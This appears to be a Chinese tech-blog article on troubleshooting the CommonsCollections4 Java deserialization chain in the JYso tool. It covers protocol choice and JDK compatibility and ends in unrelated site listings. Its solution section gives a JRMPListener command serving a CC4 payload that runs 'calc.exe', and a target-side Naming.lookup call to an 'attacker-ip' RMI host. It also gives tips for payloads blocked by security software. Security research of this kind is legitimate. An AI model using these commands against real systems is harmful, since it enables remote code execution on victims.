JYso项目中的CommonsCollections4链测试问题分析与解决
2025-07-10 08:35:49作者:晏闻田Solitary
背景介绍
JYso是一个Java反序列化工具,它集成了多种常见的反序列化链(Gadget Chains),其中包括著名的CommonsCollections4(CC4)链。在实际测试中,正确使用这些链对目标系统进行功能验证是研究人员的重要工作。
问题现象
用户在使用JYso测试CC4链时遇到了几个关键问题:
- 初始尝试使用RMI协议直接调用
Deserialization/CommonsCollections4/command/Base64/Y2FsYw==路径时失败,提示RMI中没有Deserialization路由 - 改用JRMPListener方式时,在高版本JDK(17.0.11)下出现
Permit$InitializationFailed错误 - 即使切换到JDK 1.8环境,JRMPListener方式也没有成功触发功能
技术分析
RMI与JRMP协议的区别
在Java反序列化中,RMI(Remote Method Invocation)和JRMP(Java Remote Method Protocol)是两种常用的协议,但它们有以下区别:
- RMI是一个完整的远程调用框架,包含命名服务、对象序列化等功能
- JRMP是RMI底层的传输协议,专门用于Java对象序列化传输
- 在功能场景中,JRMPListener通常用于直接发送序列化对象
JDK版本兼容性问题
从错误信息可以看出,在高版本JDK(如17)中运行时出现了模块系统相关的访问限制:
java.lang.IllegalAccessError: class com.qi4l.jndi.RMIServer cannot access class com.sun.jndi.rmi.registry.ReferenceWrapper
这是由于JDK9引入的模块化系统对内部API访问进行了更严格的限制。同时,Permit$InitializationFailed错误表明工具中的反射机制在高版本JDK中无法正常工作。
CommonsCollections4链的特殊性
CC4链是Apache Commons Collections库中的一个反序列化链,相比CC1链,它:
- 使用了不同的Transformer链构造方式
- 在某些环境下可能有更高的成功率
- 对JDK版本和依赖库版本有特定要求
解决方案
经过项目维护者的确认和修复,正确的CC4链测试方法如下:
-
使用JRMPListener方式:
java -cp JYso.jar com.qi4l.jndi.exploit.JRMPListener 1099 -g CommonsCollections4 -p "calc.exe" -
JDK版本选择:
- 推荐使用JDK 1.8进行测试
- 如需使用高版本JDK,需要重新编译适配
-
目标系统调用:
Naming.lookup("rmi://attacker-ip:1099/test");
最佳实践建议
-
环境准备:
- 准备干净的JDK 1.8环境
- 确保测试环境网络连通
-
测试流程:
- 先启动JRMPListener
- 再触发目标系统的反序列化点
- 观察Listener端是否收到连接并成功发送payload
-
问题排查:
- 检查防火墙设置
- 确认JDK版本兼容性
- 验证payload是否被安全软件拦截
总结
JYso项目中的CC4链测试需要特别注意协议选择和JDK版本兼容性问题。通过使用正确的JRMPListener方式并在适当的JDK环境下运行,可以成功验证功能。对于研究人员来说,理解不同链的特性和适用环境是进行有效功能验证的关键。
登录后查看全文
热门项目推荐
相关项目推荐
ERNIE-4.5-VL-28B-A3B-ThinkingERNIE-4.5-VL-28B-A3B-Thinking 是 ERNIE-4.5-VL-28B-A3B 架构的重大升级,通过中期大规模视觉-语言推理数据训练,显著提升了模型的表征能力和模态对齐,实现了多模态推理能力的突破性飞跃Python00
Kimi-K2-ThinkingKimi K2 Thinking 是最新、性能最强的开源思维模型。从 Kimi K2 开始,我们将其打造为能够逐步推理并动态调用工具的思维智能体。通过显著提升多步推理深度,并在 200–300 次连续调用中保持稳定的工具使用能力,它在 Humanity's Last Exam (HLE)、BrowseComp 等基准测试中树立了新的技术标杆。同时,K2 Thinking 是原生 INT4 量化模型,具备 256k 上下文窗口,实现了推理延迟和 GPU 内存占用的无损降低。Python00
MiniMax-M2MiniMax-M2是MiniMaxAI开源的高效MoE模型,2300亿总参数中仅激活100亿,却在编码和智能体任务上表现卓越。它支持多文件编辑、终端操作和复杂工具链调用Python00
HunyuanVideo-1.5HunyuanVideo-1.5作为一款轻量级视频生成模型,仅需83亿参数即可提供顶级画质,大幅降低使用门槛。该模型在消费级显卡上运行流畅,让每位开发者和创作者都能轻松使用。本代码库提供生成创意视频所需的实现方案与工具集。00
MiniCPM-V-4_5MiniCPM-V 4.5 是 MiniCPM-V 系列中最新且功能最强的模型。该模型基于 Qwen3-8B 和 SigLIP2-400M 构建,总参数量为 80 亿。与之前的 MiniCPM-V 和 MiniCPM-o 模型相比,它在性能上有显著提升,并引入了新的实用功能Python00
Spark-Formalizer-X1-7BSpark-Formalizer 是由科大讯飞团队开发的专用大型语言模型,专注于数学自动形式化任务。该模型擅长将自然语言数学问题转化为精确的 Lean4 形式化语句,在形式化语句生成方面达到了业界领先水平。Python00
GOT-OCR-2.0-hf阶跃星辰StepFun推出的GOT-OCR-2.0-hf是一款强大的多语言OCR开源模型,支持从普通文档到复杂场景的文字识别。它能精准处理表格、图表、数学公式、几何图形甚至乐谱等特殊内容,输出结果可通过第三方工具渲染成多种格式。模型支持1024×1024高分辨率输入,具备多页批量处理、动态分块识别和交互式区域选择等创新功能,用户可通过坐标或颜色指定识别区域。基于Apache 2.0协议开源,提供Hugging Face演示和完整代码,适用于学术研究到工业应用的广泛场景,为OCR领域带来突破性解决方案。00
项目优选
收起
deepin linux kernel
C
24
7
Ascend Extension for PyTorch
Python
192
212
本项目是CANN提供的数学类基础计算算子库,实现网络在NPU上加速计算。
C++
649
270
TorchAir 支持用户基于PyTorch框架和torch_npu插件在昇腾NPU上使用图模式进行推理。
Python
297
111
本仓将收集和展示高质量的仓颉示例代码,欢迎大家投稿,让全世界看到您的妙趣设计,也让更多人通过您的编码理解和喜爱仓颉语言。
Cangjie
384
3.69 K
仓颉编译器源码及 cjdb 调试工具。
C++
128
857
Nop Platform 2.0是基于可逆计算理论实现的采用面向语言编程范式的新一代低代码开发平台,包含基于全新原理从零开始研发的GraphQL引擎、ORM引擎、工作流引擎、报表引擎、规则引擎、批处理引引擎等完整设计。nop-entropy是它的后端部分,采用java语言实现,可选择集成Spring框架或者Quarkus框架。中小企业可以免费商用
Java
9
1
React Native鸿蒙化仓库
JavaScript
243
316
本项目是CANN提供的是一款高效、可靠的Transformer加速库,基于华为Ascend AI处理器,提供Transformer定制化场景的高性能融合算子。
C++
66
96
暂无简介
Dart
632
143